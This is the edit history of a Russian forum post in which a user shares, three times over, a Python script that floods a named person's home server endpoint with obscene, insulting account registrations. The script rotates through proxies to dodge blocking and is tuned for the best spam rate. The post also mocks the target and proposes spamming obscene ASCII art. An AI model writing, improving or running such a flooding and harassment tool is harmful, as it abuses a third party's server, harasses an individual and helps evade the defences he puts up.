LINUXTALKS.CO

История изменений

Исправление shikata_ga_nai, (текущая версия) :

В общем у педалика сервер настолько всрат, что многопоточность только все портит. Переделал скрипт снова, теперь юзаем прокси по одной, как начнутся ошибки - переходим на следующую, таким образом он не сразу все спалит и сообщения публикуются чаще (хотя нагрузка на его малинку уменьшается)

import requests
import time
import curses
from requests.exceptions import RequestException

def load_proxies(filename="proxy.txt"):
    with open(filename, "r") as file:
        return [line.strip() for line in file.readlines()]

def send_post_request(proxy, url, data):
    proxy_dict = {"http": f"http://{proxy}", "https": f"https://{proxy}"}
    try:
        response = requests.post(url, data=data, proxies=proxy_dict, timeout=1)
        if response.status_code == 200:
            return True, response.elapsed.total_seconds() * 1000
        return False, None
    except RequestException:
        return False, None

def main(stdscr):
    curses.curs_set(0)
    stdscr.nodelay(1)
    stdscr.timeout(1000)

    proxies = load_proxies("proxy.txt")
    url = "http://91.192.22.20/create.php"
    base_data = {"password": "45100", "password2": "45100", "public_submit": "true"}

    total_success = total_fails = 0
    current_proxy_idx = 0
    proxy_fail_count = proxy_success_count = counter = 0

    while True:
        name = f"ПОПИСЯЛ В РОТ МИСТЕРУ СУГОМИКУ И ПОСРАЛ В ЕГО ПАРАШУ БУЛЬК СРЕНЬК{counter}"
        data = {**base_data, "name": name}

        success, latency = send_post_request(proxies[current_proxy_idx], url, data)
        counter += 1

        if success:
            proxy_success_count += 1
            total_success += 1
            latency = round(latency, 2) if latency else 'N/A'
        else:
            proxy_fail_count += 1
            total_fails += 1

        stdscr.clear()
        stdscr.addstr(0, 0, f"CURRENT PROXY: {current_proxy_idx + 1}/{len(proxies)} | TOTAL SUCCESS: {total_success} | TOTAL FAILS: {total_fails}")
        stdscr.addstr(2, 0, f"PROXY {proxies[current_proxy_idx]} | SUCCESS: {proxy_success_count} | FAILS: {proxy_fail_count} | LATENCY: {latency} ms")

        if proxy_fail_count >= 10:
            proxy_fail_count = proxy_success_count = 0
            current_proxy_idx += 1
            if current_proxy_idx >= len(proxies):
                break

        stdscr.refresh()
        time.sleep(0.5)

if __name__ == "__main__":
    curses.wrapper(main)

Ну и методом тыка выяснил, что оптимальный вариант задержки примерно 0.5 секунды, если чаще то будут пропуски, медленее нет смысла. Ждем когда мистер сугомик заблокирует русские айпи и откроет доступ только в свою комнату (как в принципе и должно быть с локальным сервером на малинке).

upd2: мне вот идея пришла, что если найти ascii арт члена и спамить рисунок построчно?))))

Исправление shikata_ga_nai, :

В общем у педалика сервер настолько всрат, что многопоточность только все портит. Переделал скрипт снова, теперь юзаем прокси по одной, как начнутся ошибки - переходим на следующую, таким образом он не сразу все спалит и сообщения публикуются чаще (хотя нагрузка на его малинку уменьшается)

import requests
import time
import curses
from requests.exceptions import RequestException

def load_proxies(filename="proxy.txt"):
    with open(filename, "r") as file:
        return [line.strip() for line in file.readlines()]

def send_post_request(proxy, url, data):
    proxy_dict = {"http": f"http://{proxy}", "https": f"https://{proxy}"}
    try:
        response = requests.post(url, data=data, proxies=proxy_dict, timeout=1)
        if response.status_code == 200:
            return True, response.elapsed.total_seconds() * 1000
        return False, None
    except RequestException:
        return False, None

def main(stdscr):
    curses.curs_set(0)
    stdscr.nodelay(1)
    stdscr.timeout(1000)

    proxies = load_proxies("proxy.txt")
    url = "http://91.192.22.20/create.php"
    base_data = {"password": "45100", "password2": "45100", "public_submit": "true"}

    total_success = total_fails = 0
    current_proxy_idx = 0
    proxy_fail_count = proxy_success_count = counter = 0

    while True:
        name = f"ПОПИСЯЛ В РОТ МИСТЕРУ СУГОМИКУ И ПОСРАЛ В ЕГО ПАРАШУ БУЛЬК СРЕНЬК{counter}"
        data = {**base_data, "name": name}

        success, latency = send_post_request(proxies[current_proxy_idx], url, data)
        counter += 1

        if success:
            proxy_success_count += 1
            total_success += 1
            latency = round(latency, 2) if latency else 'N/A'
        else:
            proxy_fail_count += 1
            total_fails += 1

        stdscr.clear()
        stdscr.addstr(0, 0, f"CURRENT PROXY: {current_proxy_idx + 1}/{len(proxies)} | TOTAL SUCCESS: {total_success} | TOTAL FAILS: {total_fails}")
        stdscr.addstr(2, 0, f"PROXY {proxies[current_proxy_idx]} | SUCCESS: {proxy_success_count} | FAILS: {proxy_fail_count} | LATENCY: {latency} ms")

        if proxy_fail_count >= 10:
            proxy_fail_count = proxy_success_count = 0
            current_proxy_idx += 1
            if current_proxy_idx >= len(proxies):
                break

        stdscr.refresh()
        time.sleep(0.5)

if __name__ == "__main__":
    curses.wrapper(main)

Ну и методом тыка выяснил, что оптимальный вариант задержки примерно 0.5 секунды, если чаще то будут пропуски, медленее нет смысла. Ждем когда мистер сугомик заблокирует русские айпи и откроет доступ только в свою комнату (как в принципе и должно быть с локальным сервером на малинке).

Исходная версия shikata_ga_nai, :

В общем у педалика сервер настолько всрат, что многопоточность только все портит. Переделал скрипт снова, теперь юзаем прокси по одной, как начнутся ошибки - переходим на следующую, таким образом он не сразу все спалит и сообщения публикуются чаще (хотя нагрузка на его малинку уменьшается)

import requests
import time
import curses
from requests.exceptions import RequestException

def load_proxies(filename="proxy.txt"):
    with open(filename, "r") as file:
        return [line.strip() for line in file.readlines()]

def send_post_request(proxy, url, data):
    proxy_dict = {"http": f"http://{proxy}", "https": f"https://{proxy}"}
    try:
        response = requests.post(url, data=data, proxies=proxy_dict, timeout=1)
        if response.status_code == 200:
            return True, response.elapsed.total_seconds() * 1000
        return False, None
    except RequestException:
        return False, None

def main(stdscr):
    curses.curs_set(0)
    stdscr.nodelay(1)
    stdscr.timeout(1000)

    proxies = load_proxies("proxy.txt")
    url = "http://91.192.22.20/create.php"
    base_data = {"password": "45100", "password2": "45100", "public_submit": "true"}

    total_success = total_fails = 0
    current_proxy_idx = 0
    proxy_fail_count = proxy_success_count = counter = 0

    while True:
        name = f"ПОПИСЯЛ В РОТ МИСТЕРУ СУГОМИКУ И ПОСРАЛ В ЕГО ПАРАШУ БУЛЬК СРЕНЬК{counter}"
        data = {**base_data, "name": name}

        success, latency = send_post_request(proxies[current_proxy_idx], url, data)
        counter += 1

        if success:
            proxy_success_count += 1
            total_success += 1
            latency = round(latency, 2) if latency else 'N/A'
        else:
            proxy_fail_count += 1
            total_fails += 1

        stdscr.clear()
        stdscr.addstr(0, 0, f"CURRENT PROXY: {current_proxy_idx + 1}/{len(proxies)} | TOTAL SUCCESS: {total_success} | TOTAL FAILS: {total_fails}")
        stdscr.addstr(2, 0, f"PROXY {proxies[current_proxy_idx]} | SUCCESS: {proxy_success_count} | FAILS: {proxy_fail_count} | LATENCY: {latency} ms")

        if proxy_fail_count >= 10:
            proxy_fail_count = proxy_success_count = 0
            current_proxy_idx += 1
            if current_proxy_idx >= len(proxies):
                break

        stdscr.refresh()
        time.sleep(0.5)

if __name__ == "__main__":
    curses.wrapper(main)